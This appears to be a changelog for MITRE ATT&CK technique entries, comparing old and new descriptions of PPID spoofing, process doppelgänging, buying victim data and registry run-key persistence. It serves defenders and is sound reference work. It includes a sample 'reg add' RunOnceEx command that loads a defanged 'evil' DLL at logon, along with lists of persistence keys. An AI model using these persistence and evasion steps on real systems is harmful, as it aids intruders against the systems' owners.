| > | tive API](https://attack.mitre.org/techniques/T1106).(Citati | > | form [Native API](https://attack.mitre.org/techniques/T1106) | ||
| > | on: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept | > | .(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: Coun | ||
| > | PPID Spoofing Dec 2018) Explicitly assigning the PPID may a | > | terCept PPID Spoofing Dec 2018) Explicitly assigning the PP | ||
| > | lso enable elevated privileges given appropriate access righ | > | ID may also enable elevated privileges given appropriate acc | ||
| > | ts to the parent process. For example, an adversary in a pri | > | ess rights to the parent process. For example, an adversary | ||
| > | vileged user context (i.e. administrator) may spawn a new pr | > | in a privileged user context (i.e. administrator) may spawn | ||
| > | ocess and assign the parent as a process running as SYSTEM ( | > | a new process and assign the parent as a process running as | ||
| > | such as <code>lsass.exe</code>), causing the new process to | > | SYSTEM (such as <code>lsass.exe</code>), causing the new pro | ||
| > | be elevated via the inherited access token.(Citation: XPNSec | > | cess to be elevated via the inherited access token.(Citation | ||
| > | PPID Nov 2017) | > | : XPNSec PPID Nov 2017) | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-04-16 19:37:02.030000+00:00 | 2021-02-09 14:11:20.296000+00:00 |
| description | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1086)/[Rundll32](https://attack.mitre.org/techniques/T1085) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) | Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the CreateProcess API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via svchost.exe or consent.exe) rather than the current user context.(Citation: Microsoft UAC Nov 2018)
Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](https://attack.mitre.org/techniques/T1059/001)/[Rundll32](https://attack.mitre.org/techniques/T1218/011) to be explorer.exe rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)
Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as lsass.exe), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017) |
| x_mitre_data_sources[0] | API monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| x_mitre_data_sources[2] | Windows event logs | Process: Process Metadata |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may inject malicious code into process via proce | t | 1 | Adversaries may inject malicious code into process via proce |
| > | ss doppelgänging in order to evade process-based defenses as | > | ss doppelgänging in order to evade process-based defenses as | ||
| > | well as possibly elevate privileges. Process doppelgänging | > | well as possibly elevate privileges. Process doppelgänging | ||
| > | is a method of executing arbitrary code in the address space | > | is a method of executing arbitrary code in the address space | ||
| > | of a separate live process. Windows Transactional NTFS (T | > | of a separate live process. Windows Transactional NTFS (T | ||
| > | xF) was introduced in Vista as a method to perform safe file | > | xF) was introduced in Vista as a method to perform safe file | ||
| > | operations. (Citation: Microsoft TxF) To ensure data integr | > | operations. (Citation: Microsoft TxF) To ensure data integr | ||
| > | ity, TxF enables only one transacted handle to write to a fi | > | ity, TxF enables only one transacted handle to write to a fi | ||
| > | le at a given time. Until the write handle transaction is te | > | le at a given time. Until the write handle transaction is te | ||
| > | rminated, all other handles are isolated from the writer and | > | rminated, all other handles are isolated from the writer and | ||
| > | may only read the committed version of the file that existe | > | may only read the committed version of the file that existe | ||
| > | d at the time the handle was opened. (Citation: Microsoft Ba | > | d at the time the handle was opened. (Citation: Microsoft Ba | ||
| > | sic TxF Concepts) To avoid corruption, TxF performs an autom | > | sic TxF Concepts) To avoid corruption, TxF performs an autom | ||
| > | atic rollback if the system or application fails during a wr | > | atic rollback if the system or application fails during a wr | ||
| > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | > | ite transaction. (Citation: Microsoft Where to use TxF) Alt | ||
| > | hough deprecated, the TxF application programming interface | > | hough deprecated, the TxF application programming interface | ||
| > | (API) is still enabled as of Windows 10. (Citation: BlackHat | > | (API) is still enabled as of Windows 10. (Citation: BlackHat | ||
| > | Process Doppelgänging Dec 2017) Adversaries may abuse TxF | > | Process Doppelgänging Dec 2017) Adversaries may abuse TxF | ||
| > | to a perform a file-less variation of [Process Injection](ht | > | to a perform a file-less variation of [Process Injection](ht | ||
| > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | > | tps://attack.mitre.org/techniques/T1055). Similar to [Proces | ||
| > | s Hollowing](https://attack.mitre.org/techniques/T1093), pro | > | s Hollowing](https://attack.mitre.org/techniques/T1055/012), | ||
| > | cess doppelgänging involves replacing the memory of a legiti | > | process doppelgänging involves replacing the memory of a le | ||
| > | mate process, enabling the veiled execution of malicious cod | > | gitimate process, enabling the veiled execution of malicious | ||
| > | e that may evade defenses and detection. Process doppelgängi | > | code that may evade defenses and detection. Process doppelg | ||
| > | ng's use of TxF also avoids the use of highly-monitored API | > | änging's use of TxF also avoids the use of highly-monitored | ||
| > | functions such as <code>NtUnmapViewOfSection</code>, <code>V | > | API functions such as <code>NtUnmapViewOfSection</code>, <co | ||
| > | irtualProtectEx</code>, and <code>SetThreadContext</code>. ( | > | de>VirtualProtectEx</code>, and <code>SetThreadContext</code | ||
| > | Citation: BlackHat Process Doppelgänging Dec 2017) Process | > | >. (Citation: BlackHat Process Doppelgänging Dec 2017) Proc | ||
| > | Doppelgänging is implemented in 4 steps (Citation: BlackHat | > | ess Doppelgänging is implemented in 4 steps (Citation: Black | ||
| > | Process Doppelgänging Dec 2017): * Transact – Create a TxF | > | Hat Process Doppelgänging Dec 2017): * Transact – Create a | ||
| > | transaction using a legitimate executable then overwrite the | > | TxF transaction using a legitimate executable then overwrite | ||
| > | file with malicious code. These changes will be isolated an | > | the file with malicious code. These changes will be isolate | ||
| > | d only visible within the context of the transaction. * Load | > | d and only visible within the context of the transaction. * | ||
| > | – Create a shared section of memory and load the malicious | > | Load – Create a shared section of memory and load the malici | ||
| > | executable. * Rollback – Undo changes to original executable | > | ous executable. * Rollback – Undo changes to original execut | ||
| > | , effectively removing malicious code from the file system. | > | able, effectively removing malicious code from the file syst | ||
| > | * Animate – Create a process from the tainted section of mem | > | em. * Animate – Create a process from the tainted section of | ||
| > | ory and initiate execution. This behavior will likely not r | > | memory and initiate execution. This behavior will likely n | ||
| > | esult in elevated privileges since the injected process was | > | ot result in elevated privileges since the injected process | ||
| > | spawned from (and thus inherits the security context) of the | > | was spawned from (and thus inherits the security context) of | ||
| > | injecting process. However, execution via process doppelgän | > | the injecting process. However, execution via process doppe | ||
| > | ging may evade detection from security products since the ex | > | lgänging may evade detection from security products since th | ||
| > | ecution is masked under a legitimate process. | > | e execution is masked under a legitimate process. | ||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-20 22:27:21.304000+00:00 | 2021-02-09 15:43:48.848000+00:00 |
| description | Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1093), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. | Adversaries may inject malicious code into process via process doppelgänging in order to evade process-based defenses as well as possibly elevate privileges. Process doppelgänging is a method of executing arbitrary code in the address space of a separate live process.
Windows Transactional NTFS (TxF) was introduced in Vista as a method to perform safe file operations. (Citation: Microsoft TxF) To ensure data integrity, TxF enables only one transacted handle to write to a file at a given time. Until the write handle transaction is terminated, all other handles are isolated from the writer and may only read the committed version of the file that existed at the time the handle was opened. (Citation: Microsoft Basic TxF Concepts) To avoid corruption, TxF performs an automatic rollback if the system or application fails during a write transaction. (Citation: Microsoft Where to use TxF)
Although deprecated, the TxF application programming interface (API) is still enabled as of Windows 10. (Citation: BlackHat Process Doppelgänging Dec 2017)
Adversaries may abuse TxF to a perform a file-less variation of [Process Injection](https://attack.mitre.org/techniques/T1055). Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), process doppelgänging involves replacing the memory of a legitimate process, enabling the veiled execution of malicious code that may evade defenses and detection. Process doppelgänging's use of TxF also avoids the use of highly-monitored API functions such as NtUnmapViewOfSection, VirtualProtectEx, and SetThreadContext. (Citation: BlackHat Process Doppelgänging Dec 2017)
Process Doppelgänging is implemented in 4 steps (Citation: BlackHat Process Doppelgänging Dec 2017):
* Transact – Create a TxF transaction using a legitimate executable then overwrite the file with malicious code. These changes will be isolated and only visible within the context of the transaction.
* Load – Create a shared section of memory and load the malicious executable.
* Rollback – Undo changes to original executable, effectively removing malicious code from the file system.
* Animate – Create a process from the tainted section of memory and initiate execution.
This behavior will likely not result in elevated privileges since the injected process was spawned from (and thus inherits the security context) of the injecting process. However, execution via process doppelgänging may evade detection from security products since the execution is masked under a legitimate process. |
| x_mitre_data_sources[0] | File monitoring | Process: OS API Execution |
| x_mitre_data_sources[1] | Process monitoring | File: File Metadata |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | API monitoring |
Current version: 3.1
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-21 17:54:28.531000+00:00 | 2021-08-30 19:16:11.648000+00:00 |
| x_mitre_contributors[0] | Brian Prange | Jon Sheedy |
| x_mitre_data_sources[0] | SSL/TLS inspection | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Process use of network | Network Traffic: Network Connection Creation |
| x_mitre_data_sources[2] | Process monitoring | Network Traffic: Network Traffic Content |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Netflow/Enclave netflow | |
| x_mitre_data_sources | Packet capture |
Current version: 1.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Before compromising a victim, adversaries may purchase techn | t | 1 | Adversaries may purchase technical information about victims |
| > | ical information about victims that can be used during targe | > | that can be used during targeting. Information about victim | ||
| > | ting. Information about victims may be available for purchas | > | s may be available for purchase within reputable private sou | ||
| > | e within reputable private sources and databases, such as pa | > | rces and databases, such as paid subscriptions to feeds of s | ||
| > | id subscriptions to feeds of scan databases or other data ag | > | can databases or other data aggregation services. Adversarie | ||
| > | gregation services. Adversaries may also purchase informatio | > | s may also purchase information from less-reputable sources | ||
| > | n from less-reputable sources such as dark web or cybercrime | > | such as dark web or cybercrime blackmarkets. Adversaries ma | ||
| > | blackmarkets. Adversaries may purchase information about t | > | y purchase information about their already identified target | ||
| > | heir already identified targets, or use purchased data to di | > | s, or use purchased data to discover opportunities for succe | ||
| > | scover opportunities for successful breaches. Threat actors | > | ssful breaches. Threat actors may gather various technical d | ||
| > | may gather various technical details from purchased data, in | > | etails from purchased data, including but not limited to emp | ||
| > | cluding but not limited to employee contact information, cre | > | loyee contact information, credentials, or specifics regardi | ||
| > | dentials, or specifics regarding a victim’s infrastructure.( | > | ng a victim’s infrastructure.(Citation: ZDNET Selling Data) | ||
| > | Citation: ZDNET Selling Data) Information from these sources | > | Information from these sources may reveal opportunities for | ||
| > | may reveal opportunities for other forms of reconnaissance | > | other forms of reconnaissance (ex: [Phishing for Information | ||
| > | (ex: [Phishing for Information](https://attack.mitre.org/tec | > | ](https://attack.mitre.org/techniques/T1598) or [Search Open | ||
| > | hniques/T1598) or [Search Open Websites/Domains](https://att | > | Websites/Domains](https://attack.mitre.org/techniques/T1593 | ||
| > | ack.mitre.org/techniques/T1593)), establishing operational r | > | )), establishing operational resources (ex: [Develop Capabil | ||
| > | esources (ex: [Develop Capabilities](https://attack.mitre.or | > | ities](https://attack.mitre.org/techniques/T1587) or [Obtain | ||
| > | g/techniques/T1587) or [Obtain Capabilities](https://attack. | > | Capabilities](https://attack.mitre.org/techniques/T1588)), | ||
| > | mitre.org/techniques/T1588)), and/or initial access (ex: [Ex | > | and/or initial access (ex: [External Remote Services](https: | ||
| > | ternal Remote Services](https://attack.mitre.org/techniques/ | > | //attack.mitre.org/techniques/T1133) or [Valid Accounts](htt | ||
| > | T1133) or [Valid Accounts](https://attack.mitre.org/techniqu | > | ps://attack.mitre.org/techniques/T1078)). | ||
| > | es/T1078)). | ||||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-10-24 04:15:26.840000+00:00 | 2021-04-15 03:44:43.900000+00:00 |
| description | Before compromising a victim, adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure.(Citation: ZDNET Selling Data) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
Current version: 1.0
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_remote_support | False |
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-06-23 19:03:15.180000+00:00 | 2021-07-26 22:49:23.094000+00:00 |
| x_mitre_data_sources[0] | System calls | Command: Command Execution |
| x_mitre_data_sources[1] | Process monitoring | Process: Process Creation |
| STIX Field | Old value | New Value |
|---|---|---|
| x_mitre_data_sources | Process command-line parameters | |
| x_mitre_data_sources | API monitoring |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may achieve persistence by adding a program to a | t | 1 | Adversaries may achieve persistence by adding a program to a |
| > | startup folder or referencing it with a Registry run key. A | > | startup folder or referencing it with a Registry run key. A | ||
| > | dding an entry to the "run keys" in the Registry or startup | > | dding an entry to the "run keys" in the Registry or startup | ||
| > | folder will cause the program referenced to be executed when | > | folder will cause the program referenced to be executed when | ||
| > | a user logs in. (Citation: Microsoft Run Key) These program | > | a user logs in. (Citation: Microsoft Run Key) These program | ||
| > | s will be executed under the context of the user and will ha | > | s will be executed under the context of the user and will ha | ||
| > | ve the account's associated permissions level. Placing a pr | > | ve the account's associated permissions level. Placing a pr | ||
| > | ogram within a startup folder will also cause that program t | > | ogram within a startup folder will also cause that program t | ||
| > | o execute when a user logs in. There is a startup folder loc | > | o execute when a user logs in. There is a startup folder loc | ||
| > | ation for individual user accounts as well as a system-wide | > | ation for individual user accounts as well as a system-wide | ||
| > | startup folder that will be checked regardless of which user | > | startup folder that will be checked regardless of which user | ||
| > | account logs in. The startup folder path for the current us | > | account logs in. The startup folder path for the current us | ||
| > | er is <code>C:\Users\[Username]\AppData\Roaming\Microsoft\Wi | > | er is <code>C:\Users\\[Username]\AppData\Roaming\Microsoft\W | ||
| > | ndows\Start Menu\Programs\Startup</code>. The startup folder | > | indows\Start Menu\Programs\Startup</code>. The startup folde | ||
| > | path for all users is <code>C:\ProgramData\Microsoft\Window | > | r path for all users is <code>C:\ProgramData\Microsoft\Windo | ||
| > | s\Start Menu\Programs\StartUp</code>. The following run key | > | ws\Start Menu\Programs\StartUp</code>. The following run ke | ||
| > | s are created by default on Windows systems: * <code>HKEY_C | > | ys are created by default on Windows systems: * <code>HKEY_ | ||
| > | URRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</c | > | CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run</ | ||
| > | ode> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\Cu | > | code> * <code>HKEY_CURRENT_USER\Software\Microsoft\Windows\C | ||
| > | rrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Softw | > | urrentVersion\RunOnce</code> * <code>HKEY_LOCAL_MACHINE\Soft | ||
| > | are\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKEY | > | ware\Microsoft\Windows\CurrentVersion\Run</code> * <code>HKE | ||
| > | _LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run | > | Y_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Ru | ||
| > | Once</code> Run keys may exist under multiple hives.(Citati | > | nOnce</code> Run keys may exist under multiple hives.(Citat | ||
| > | on: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow64 | > | ion: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6 | ||
| > | 32Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsoft | > | 432Node 2016) The <code>HKEY_LOCAL_MACHINE\Software\Microsof | ||
| > | \Windows\CurrentVersion\RunOnceEx</code> is also available b | > | t\Windows\CurrentVersion\RunOnceEx</code> is also available | ||
| > | ut is not created by default on Windows Vista and newer. Reg | > | but is not created by default on Windows Vista and newer. Re | ||
| > | istry run key entries can reference programs directly or lis | > | gistry run key entries can reference programs directly or li | ||
| > | t them as a dependency. (Citation: Microsoft RunOnceEx APR 2 | > | st them as a dependency. (Citation: Microsoft RunOnceEx APR | ||
| > | 018) For example, it is possible to load a DLL at logon usin | > | 2018) For example, it is possible to load a DLL at logon usi | ||
| > | g a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWARE | > | ng a "Depend" key with RunOnceEx: <code>reg add HKLM\SOFTWAR | ||
| > | \Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 | > | E\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v | ||
| > | /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOnc | > | 1 /d "C:\temp\evil[.]dll"</code> (Citation: Oddvar Moe RunOn | ||
| > | eEx Mar 2018) The following Registry keys can be used to se | > | ceEx Mar 2018) The following Registry keys can be used to s | ||
| > | t startup folder items for persistence: * <code>HKEY_CURREN | > | et startup folder items for persistence: * <code>HKEY_CURRE | ||
| > | T_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Us | > | NT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\U | ||
| > | er Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\M | > | ser Shell Folders</code> * <code>HKEY_CURRENT_USER\Software\ | ||
| > | icrosoft\Windows\CurrentVersion\Explorer\Shell Folders</code | > | Microsoft\Windows\CurrentVersion\Explorer\Shell Folders</cod | ||
| > | > * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Curr | > | e> * <code>HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\Cur | ||
| > | entVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL_ | > | rentVersion\Explorer\Shell Folders</code> * <code>HKEY_LOCAL | ||
| > | MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\U | > | _MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\ | ||
| > | ser Shell Folders</code> The following Registry keys can co | > | User Shell Folders</code> The following Registry keys can c | ||
| > | ntrol automatic startup of services during boot: * <code>HK | > | ontrol automatic startup of services during boot: * <code>H | ||
| > | EY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\R | > | KEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ | ||
| > | unServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Mic | > | RunServicesOnce</code> * <code>HKEY_CURRENT_USER\Software\Mi | ||
| > | rosoft\Windows\CurrentVersion\RunServicesOnce</code> * <code | > | crosoft\Windows\CurrentVersion\RunServicesOnce</code> * <cod | ||
| > | >HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio | > | e>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersi | ||
| > | n\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Micr | > | on\RunServices</code> * <code>HKEY_CURRENT_USER\Software\Mic | ||
| > | osoft\Windows\CurrentVersion\RunServices</code> Using polic | > | rosoft\Windows\CurrentVersion\RunServices</code> Using poli | ||
| > | y settings to specify startup programs creates corresponding | > | cy settings to specify startup programs creates correspondin | ||
| > | values in either of two Registry keys: * <code>HKEY_LOCAL_ | > | g values in either of two Registry keys: * <code>HKEY_LOCAL | ||
| > | MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\E | > | _MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\ | ||
| > | xplorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Micros | > | Explorer\Run</code> * <code>HKEY_CURRENT_USER\Software\Micro | ||
| > | oft\Windows\CurrentVersion\Policies\Explorer\Run</code> The | > | soft\Windows\CurrentVersion\Policies\Explorer\Run</code> Th | ||
| > | Winlogon key controls actions that occur when a user logs o | > | e Winlogon key controls actions that occur when a user logs | ||
| > | n to a computer running Windows 7. Most of these actions are | > | on to a computer running Windows 7. Most of these actions ar | ||
| > | under the control of the operating system, but you can also | > | e under the control of the operating system, but you can als | ||
| > | add custom actions here. The <code>HKEY_LOCAL_MACHINE\Softw | > | o add custom actions here. The <code>HKEY_LOCAL_MACHINE\Soft | ||
| > | are\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</c | > | ware\Microsoft\Windows NT\CurrentVersion\Winlogon\Userinit</ | ||
| > | ode> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Windows | > | code> and <code>HKEY_LOCAL_MACHINE\Software\Microsoft\Window | ||
| > | NT\CurrentVersion\Winlogon\Shell</code> subkeys can automat | > | s NT\CurrentVersion\Winlogon\Shell</code> subkeys can automa | ||
| > | ically launch programs. Programs listed in the load value o | > | tically launch programs. Programs listed in the load value | ||
| > | f the registry key <code>HKEY_CURRENT_USER\Software\Microsof | > | of the registry key <code>HKEY_CURRENT_USER\Software\Microso | ||
| > | t\Windows NT\CurrentVersion\Windows</code> run when any user | > | ft\Windows NT\CurrentVersion\Windows</code> run when any use | ||
| > | logs on. By default, the multistring <code>BootExecute</co | > | r logs on. By default, the multistring <code>BootExecute</c | ||
| > | de> value of the registry key <code>HKEY_LOCAL_MACHINE\Syste | > | ode> value of the registry key <code>HKEY_LOCAL_MACHINE\Syst | ||
| > | m\CurrentControlSet\Control\Session Manager</code> is set to | > | em\CurrentControlSet\Control\Session Manager</code> is set t | ||
| > | <code>autocheck autochk *</code>. This value causes Windows | > | o <code>autocheck autochk *</code>. This value causes Window | ||
| > | , at startup, to check the file-system integrity of the hard | > | s, at startup, to check the file-system integrity of the har | ||
| > | disks if the system has been shut down abnormally. Adversar | > | d disks if the system has been shut down abnormally. Adversa | ||
| > | ies can add other programs or processes to this registry val | > | ries can add other programs or processes to this registry va | ||
| > | ue which will automatically launch at boot. Adversaries can | > | lue which will automatically launch at boot. Adversaries ca | ||
| > | use these configuration locations to execute malware, such | > | n use these configuration locations to execute malware, such | ||
| > | as remote access tools, to maintain persistence through syst | > | as remote access tools, to maintain persistence through sys | ||
| > | em reboots. Adversaries may also use [Masquerading](https:// | > | tem reboots. Adversaries may also use [Masquerading](https:/ | ||
| > | attack.mitre.org/techniques/T1036) to make the Registry entr | > | /attack.mitre.org/techniques/T1036) to make the Registry ent | ||
| > | ies look as if they are associated with legitimate programs. | > | ries look as if they are associated with legitimate programs | ||
| > | . | ||||
New Detections:
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2020-08-03 16:30:26.918000+00:00 | 2021-01-06 18:36:29.226000+00:00 |
| description | Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in. (Citation: Microsoft Run Key) These programs will be executed under the context of the user and will have the account's associated permissions level.
Placing a program within a startup folder will also cause that program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup. The startup folder path for all users is C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp.
The following run keys are created by default on Windows systems:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run
* HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnce
Run keys may exist under multiple hives.(Citation: Microsoft Wow6432Node 2018)(Citation: Malwarebytes Wow6432Node 2016) The HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunOnceEx is also available but is not created by default on Windows Vista and newer. Registry run key entries can reference programs directly or list them as a dependency. (Citation: Microsoft RunOnceEx APR 2018) For example, it is possible to load a DLL at logon using a "Depend" key with RunOnceEx: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx\0001\Depend /v 1 /d "C:\temp\evil[.]dll" (Citation: Oddvar Moe RunOnceEx Mar 2018)
The following Registry keys can be used to set startup folder items for persistence:
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
* HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
* HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
The following Registry keys can control automatic startup of services during boot:
